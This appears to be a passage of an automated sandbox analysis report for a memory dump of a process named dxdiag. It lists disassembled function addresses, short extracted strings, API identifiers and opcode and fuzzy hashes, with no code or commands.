Instruction ID: 1b0d155936ea343f35509df964668f6b6c6c9246b28269455b7de3af52c0cfb1
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: D271E632B183254BD714CE28E58031BBBE3ABC5710F99856EE9949B391D238EC55C78B

Function 00416571 Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

geA, xrefs: 0041679F, 00416A17

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: geA
API String ID: 2994545307-2877876819
Opcode ID: 0ed91a1389df4b0d1597c695a4cf1e86b50c493ccd7e372dad384ac748f0d08a
Instruction ID: 4108c2f34951b7525a129208e7cca88797c90dd01fa32db8498efb649337b20a
Opcode Fuzzy Hash: 0ed91a1389df4b0d1597c695a4cf1e86b50c493ccd7e372dad384ac748f0d08a
Instruction Fuzzy Hash: E251BB382057009FE7258F15D891B7377A3FBA5304F1A95BED9964B7A2C378EC818B18

Function 004156D0 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

gfff, xrefs: 0041582C

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: 8248bf5bba180cae314aa3b7782ac89fbaa7f630bd2b14a9a196c8932c7ed6be
Instruction ID: 0bba36978a619e9ace30c92abe038fd16205fb4e8e7e125fe9cc28a2c01b1cf5
Opcode Fuzzy Hash: 8248bf5bba180cae314aa3b7782ac89fbaa7f630bd2b14a9a196c8932c7ed6be
Instruction Fuzzy Hash: 2171E675600B01CFE725CF29C891BA7B7E2FB85314F18866ED496CB395DB38A841CB85

Function 0042BA8D Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

`pd-, xrefs: 0042BBB2

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: `pd-
API String ID: 0-182301337
Opcode ID: 47f7bfaf72026e9969934b5e11cdcc6e3b8d9cbf3a8d33e766c69dc0c14565ff
Instruction ID: 78c49deb105515400a20ed237f8c3f66f9dc959da60051c669d51e2c98e4fb21
Opcode Fuzzy Hash: 47f7bfaf72026e9969934b5e11cdcc6e3b8d9cbf3a8d33e766c69dc0c14565ff
Instruction Fuzzy Hash: 2451F1313083914ED7358F2698507ABBBE2AFE3314F98495DC4C48B352CB78440ACB97

Function 00423D30 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

"=B, xrefs: 00423D10

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: "=B
API String ID: 0-917644190
Opcode ID: 73ee633447d1f6527620aa035fe6b16ff7cfc22686ac84a0026da8caab8e01c4
Instruction ID: 70b728ef6d1fc5c2b8b8217b551a53d6a46a102b77591c7a10914c981e2bb08e
Opcode Fuzzy Hash: 73ee633447d1f6527620aa035fe6b16ff7cfc22686ac84a0026da8caab8e01c4
Instruction Fuzzy Hash: 8C5146766083409FE324CF55EC41B8BBBE5EBC9318F01093DF9989B281D77499458B86

Function 00423E30 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

"=B, xrefs: 00423D10

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: "=B
API String ID: 0-917644190
Opcode ID: 87923f1b82e6d903aa9b4cb5920547b117a2f3132df7c57e5b2419fbd84656b7
Instruction ID: 73ac25a76f381af8135e2a387910311b2f1a205358cbb29a076b9eb775738f57
Opcode Fuzzy Hash: 87923f1b82e6d903aa9b4cb5920547b117a2f3132df7c57e5b2419fbd84656b7
Instruction Fuzzy Hash: 6E5123766083009FD320CF68EC41B5BBBE5EBC9318F05493DF998A7291D7B5A944CB86

Function 00425F7D Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

1_B, xrefs: 00426164

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 1_B
API String ID: 0-2132359058
Opcode ID: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction ID: 5b09de0f708086b2db089408e795921656c95d083517461b5049a84f32a7c51a
Opcode Fuzzy Hash: ebd4713a8c839dd888d4ddf57068d90824b288b6a5d2fb2c475a76c4d08f8f2d
Instruction Fuzzy Hash: D8415972D09B7487C230DA64A81017BB6D5DB85310F9A847FF9C697342EB38AD01A7CA

Function 0042B4BB Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

CUUI, xrefs: 0042B588

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: CUUI
API String ID: 0-173970609
Opcode ID: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction ID: 633f9cfe08b78efd1148aada0c0c4a0bea52aba14bf5254293374e99ea80dff2
Opcode Fuzzy Hash: 11d751ef2c6838004d4261e70f5839909a1e0ffe6a220f83fd188cfbbc9468dc
Instruction Fuzzy Hash: 9541E7A020C7E08ADB358F2594903ABBBE1DFD3304F5884ADC6C56B243C77988068B5A

Function 00425230 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 004252B6

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction ID: beb69707a00ddb1e0f288a180930159145dfafadf277c1aff9f3426dfcb85bde
Opcode Fuzzy Hash: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction Fuzzy Hash: 47113536A44B204BC324CE289DC163777E1AB95314F95263DDCA9D33A1E278EC009AD9

Function 00402EA0 Relevance: .7, Instructions: 675COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8802ac95f26bb5af3ecf3f7a2b500b8189bbcbbf06de9955977d9ebab7cb66b1
Instruction ID: edd93262c37b58514c164f54ade4d824c10fc5bc9ac2c1e3e29676a09bcbb007
Opcode Fuzzy Hash: 8802ac95f26bb5af3ecf3f7a2b500b8189bbcbbf06de9955977d9ebab7cb66b1
Instruction Fuzzy Hash: 3452F2715083458FCB15CF14C0906AABFE1BF89309F19897EF8996B381D778E949CB89

Function 00406690 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55742de4044c27391ea92b1462ef5243d561474e095cc6f8668b73f9f426c153
Instruction ID: 6437c18af3090e7d1f8450d5b6d6604a09e5e8e249e1d84bd2a5865c6d55a9b7
Opcode Fuzzy Hash: 55742de4044c27391ea92b1462ef5243d561474e095cc6f8668b73f9f426c153
Instruction Fuzzy Hash: E952D170A08B848FE730DF24C4843A7BBE1AB51314F15893ED5E716BC2C37DA995871A

Function 0041EF30 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4bbca7605c98e1b6c9e6aef409a34f692d1b492f4abcb5f515763d830ea422
Instruction ID: 997a0c5a4a6b9d14cc3762cd8dc21844e49b77d9c632dc490a8703620003f9aa
Opcode Fuzzy Hash: 0d4bbca7605c98e1b6c9e6aef409a34f692d1b492f4abcb5f515763d830ea422
Instruction Fuzzy Hash: CF626AB0608B808ED366CF3C8845797BFE5AB5A314F044A5EE0EF97392C7766501CB66

Function 00407470 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction ID: af49202ca076376fa415bca2a3091a328854806cafe53c7e33487b358e5641c5
Opcode Fuzzy Hash: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction Fuzzy Hash: 9722B332A087118BD725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B851CB47

Function 00411B1B Relevance: .6, Instructions: 612COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8100fdb123d3d67b19287db521d51e445f5757672122b2ae3053109a734df6eb
Instruction ID: 2867989e2e87d2432c5fc8213db3c9c19056031c0356c708892e03b139116c05
Opcode Fuzzy Hash: 8100fdb123d3d67b19287db521d51e445f5757672122b2ae3053109a734df6eb
Instruction Fuzzy Hash: 85321975A04B408FD714DF38C5853ABBBE1AF89314F158A3ED9EB87391D638A445CB06

Function 004038C0 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68019969ff5d4c7b031af40bff766dd307ec9a2b607195fd915788becbc0be47
Instruction ID: a966f5733580e1d32f4c65cf1d7ea4f7c70424fa85ad0b362746f1f47da8c6bd
Opcode Fuzzy Hash: 68019969ff5d4c7b031af40bff766dd307ec9a2b607195fd915788becbc0be47
Instruction Fuzzy Hash: 51322370914B118FC328CF29C68052ABBF5BF45711B604A2ED6A7A7F90D73AF945CB18

Function 0043CAC0 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction ID: a0fb517757f1b8da7777bae7579d9f52a382c29ac2183c4fd28747a7d9f1db1e
Opcode Fuzzy Hash: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction Fuzzy Hash: F402127AB04216CFC704CF28E8906AAB7F2FB8A311F1A847ED58593351D734AD55CB86

Function 0043CBD6 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction ID: 0188f3e029ce03e8205a7a452b25b6dbd5bcd661a0513372e50984eaaf58ab41
Opcode Fuzzy Hash: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction Fuzzy Hash: 98E12F79B04216CFC704CF68E8906AAB7F2FB8A312F1A847EE585D3351D334A955CB85

Function 00405910 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction ID: 292f23283d7cd07bb6fd19c8603031892cd16be448e450c68c3e166b8ce1a4f1
Opcode Fuzzy Hash: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction Fuzzy Hash: DAF1CF356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597791E679E904CB5A

Function 004380D9 Relevance: .4, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d26f108f2de207715fc6f10add082af5f215719a41695db71f3f1b1a317cd7
Instruction ID: 7e3e12de7baaa44855f8db402cbcde809cdcecebdba36db7e067ef3f383e20fe
Opcode Fuzzy Hash: 93d26f108f2de207715fc6f10add082af5f215719a41695db71f3f1b1a317cd7
Instruction Fuzzy Hash: 81D1047A614352DBCB185F38EC51267B3E1FF4A701F4A88BDD881872A0F7BAC9508755

Function 004081F0 Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff2cf1cd491ada9ea90d45eb0a802c840e982093fe7b1125ecbb9c6834ee2d8a
Instruction ID: 8f523c3615630e9e86e7780e2c956a708ca21de1340e8773491381c9913ea244
Opcode Fuzzy Hash: ff2cf1cd491ada9ea90d45eb0a802c840e982093fe7b1125ecbb9c6834ee2d8a
Instruction Fuzzy Hash: BFE12B716087415BC318CE29D9E026FFBD2ABC5320F18CA6EE4E6573E5EB3889058B45

Function 0043CCE0 Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 536c392115e0cff150cd0d6d8dc87b4614f7e511d1c43d6d4655b511f952909a
Instruction ID: b7c2eaf3338182462aad9b41d84ad1057b9f4e6ab3b7739cdaab2d2094e4d2b6
Opcode Fuzzy Hash: 536c392115e0cff150cd0d6d8dc87b4614f7e511d1c43d6d4655b511f952909a
Instruction Fuzzy Hash: 36C1007AA04216CFC704CF28E8906AAB7F2FB8A311F1A447DE98593351D734ED54CB85

Function 004286F0 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0698e5323aca3189bcf61449c470d5166dbf916172f2457ca70a618e1c4aeee2
Instruction ID: 56b07d3b8ecf2697cfceb0b79347f06369642de1c8fee68a0e9743baf01ab03d
Opcode Fuzzy Hash: 0698e5323aca3189bcf61449c470d5166dbf916172f2457ca70a618e1c4aeee2
Instruction Fuzzy Hash: 46C12EB060D3218AC314DF14D86272BB7F2EF92364F44891DF0D19B395EB789905CB9A

Function 0043CD60 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ae3e85a33d43a6e2771b0fd908fe387ca734c2f104cbcf9b416a7aefdf7c9a
Instruction ID: 20c8691d40d2db25294344e9a87d3a2a4619c2758e90d916e0ff6e9b3fbd9dce
Opcode Fuzzy Hash: b7ae3e85a33d43a6e2771b0fd908fe387ca734c2f104cbcf9b416a7aefdf7c9a
Instruction Fuzzy Hash: 95B1FE7AA14216CFC704CF68E8906AAB7F1FB8A311F1A447EE98693350D734ED54CB85

Function 0043E2C0 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 80da30ceeb4076c4dd52f36f413b417ec497b075dc979d5065cc3afacb8a27d8
Instruction ID: 21034efda10b007e5f49382b2671dc2907a6127a70d9abf3c6f7e0d751ba39ee
Opcode Fuzzy Hash: 80da30ceeb4076c4dd52f36f413b417ec497b075dc979d5065cc3afacb8a27d8
Instruction Fuzzy Hash: 49B127357093559FC724CF26C890A6BB7E2AFE9314F19D63DE885473A2DA389C01C789

Function 0043CE00 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc05906a2cd7047f79f16b5ec2f82067cc14c0beb5821a18253c96a7a105a64b
Instruction ID: 02c91c5c175dbfc798e5ae80a92b3f6d79b9f3e28c5cee1d4de64ad44bd3bbdb
Opcode Fuzzy Hash: fc05906a2cd7047f79f16b5ec2f82067cc14c0beb5821a18253c96a7a105a64b
Instruction Fuzzy Hash: 28B1FE79A08216CFC704CF28E8906AAB7F1FB8A311F1A487DE985D3350D734E955CB95

Function 00416E97 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e2b72de9db90adf160ba091cc0f4e0f3ea60225d0eeabf88c335e2ed5b0d7e
Instruction ID: 5a7d6a52498181c9cf4f87941996139a214d8b31775e9e11dc627d5a44ad725e
Opcode Fuzzy Hash: 71e2b72de9db90adf160ba091cc0f4e0f3ea60225d0eeabf88c335e2ed5b0d7e
Instruction Fuzzy Hash: 73A143B46047418FD724CF29C8D1B63B7E2AB5A304F14892ED59A87792D338E886CB58

Function 00418C1E Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19b263321da8b47e4b3405e57df1c6045c2f410f851018c259a6ca0ecc375f5
Instruction ID: d9bed95716bb0f9021933fded373194d370365f97eec4729a86d8bb3d406bb7e
Opcode Fuzzy Hash: b19b263321da8b47e4b3405e57df1c6045c2f410f851018c259a6ca0ecc375f5
Instruction Fuzzy Hash: E1B1E0755007018FC724CF29C8817A3B7F2FF95711B1A856ED8968B7A4DB38E842CB15

Function 00406200 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1db6a217cb8f63b2a4c53b2a12e6814aef47cb0c90e13827f5475dc9e5d2a9
Instruction ID: 9bcc022de37c7c20ffa72b1ba7d3b9ce0567420977cb9b754fa16163635bd775
Opcode Fuzzy Hash: dc1db6a217cb8f63b2a4c53b2a12e6814aef47cb0c90e13827f5475dc9e5d2a9
Instruction Fuzzy Hash: 12C16BB29087418FC320CF28DC96BABB7E1BF85318F09493DD1DAD6242E778A155CB46

Function 0043DFB0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b7535c463ae1e5bcf3702ce14ffd2b5f638eb3eed67e07491a9c0359b24ec7dd
Instruction ID: 9eaef7f6449a926bdd011e6bf6c7dc343cb48eef6fbbacc1f9e318c96c7b604e
Opcode Fuzzy Hash: b7535c463ae1e5bcf3702ce14ffd2b5f638eb3eed67e07491a9c0359b24ec7dd
Instruction Fuzzy Hash: 6891DF356053118BC718DF1AC890A2BB3F6EF9D710F19996DE8858B391E734EC01CB86

Function 00428F5D Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction ID: 0033b059549c864885c35c4736f174911fb7ab2e2a7e13fdb612373215023671
Opcode Fuzzy Hash: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction Fuzzy Hash: 939168B2A083558FC714CF25945226FF7A2AFD1304F98892EE4E687382D639DD05CB4A

Function 0040CA54 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c9feb5511229040c6975bef0832900e3bf4da7ad8fb78105c9272307aa1f26
Instruction ID: b41f02f2f6b88e6cf2e509950ca0ce26243347fadfbd22f941e0e6fdafa6cfa2
Opcode Fuzzy Hash: e7c9feb5511229040c6975bef0832900e3bf4da7ad8fb78105c9272307aa1f26
Instruction Fuzzy Hash: A3513675548311CBCB24CF14D8D15AB7B72FF9672031992ACCC816F3A9E7399802CBA9

Function 0040B351 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd013215ce92ec85f43de91537993578af9f61c73a475c81e3a5f35ac2d727d
Instruction ID: 89dc32996bb4f82fd83524c80daa36c237ca6d893dcf29b64c3826ebf43fb3a5
Opcode Fuzzy Hash: fdd013215ce92ec85f43de91537993578af9f61c73a475c81e3a5f35ac2d727d
Instruction Fuzzy Hash: DF817276650B018FC324CF29DC52757B7E6FB89314B188A3DE5A6C7BA0D778E4018B44

Function 004167A5 Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c76afdc892be6a1a22571e9230be0a7238928ff2fae107023b2858cfdd5236c6
Instruction ID: 6ba4ddecef610ba5b17dae5e44720f787bbaa8a1dff5678383cb1f2fa5ad10f1
Opcode Fuzzy Hash: c76afdc892be6a1a22571e9230be0a7238928ff2fae107023b2858cfdd5236c6
Instruction Fuzzy Hash: 6A519C782067008FE7258F59C991B737792FBA5300F1A947EDA864B752C378EC81CB59

Function 0041D8E0 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7078c05123f608065ae0c8b19dd9d3873ceae3ccd1b74ae0e505b84a43bf3eb5
Instruction ID: 30120c9cf8979c957b93fa690c701cca16999ac69deab4180fe86e3e7b3b6d10
Opcode Fuzzy Hash: 7078c05123f608065ae0c8b19dd9d3873ceae3ccd1b74ae0e505b84a43bf3eb5
Instruction Fuzzy Hash: 4C714873A5DAD047D328893C4C112EABA930BD7234F2DC77AE9F5873E1D5694C458349

Function 00425670 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268e6a86c9647423a3e0406f1efe1fb1f3a43167bedebd64417b2eb9c2239687
Instruction ID: 977b48f6b738fa56d71fc5e64f14f9e1e09c3987245fa55f05f3730c3b5c7a7c
Opcode Fuzzy Hash: 268e6a86c9647423a3e0406f1efe1fb1f3a43167bedebd64417b2eb9c2239687
Instruction Fuzzy Hash: 2261F5B02083109FD714EF15E89166BB7F1EF92364F94891DE4C58B3A1E7788905CB5B

Function 00436430 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee3221d44487f1b55dcfb0cb7b306b7a5088c2c108d24d47baceea343636d859
Instruction ID: 18207ba011b0b7ea27b2fff4e18c5af6e6a605bfb9f785221dc3cd9b7063f5aa
Opcode Fuzzy Hash: ee3221d44487f1b55dcfb0cb7b306b7a5088c2c108d24d47baceea343636d859
Instruction Fuzzy Hash: CF517DB15087549FE314DF29D49435BBBE1BBC8318F054A2EE5E987390E379DA088F86

Function 0041CEA5 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d03f9876956ffac6f74f0866a7bde9a035be760a6bedc0074a97e3c21121794
Instruction ID: 79a636d4ef35a115cd61f203c964b336e8654c9833e22f85933b964d871e8aad
Opcode Fuzzy Hash: 7d03f9876956ffac6f74f0866a7bde9a035be760a6bedc0074a97e3c21121794
Instruction Fuzzy Hash: 824113B455835287CB209F289C413BBF3F1AFA2358F59455EE8C597380E738D992C36A

Function 0041AE00 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
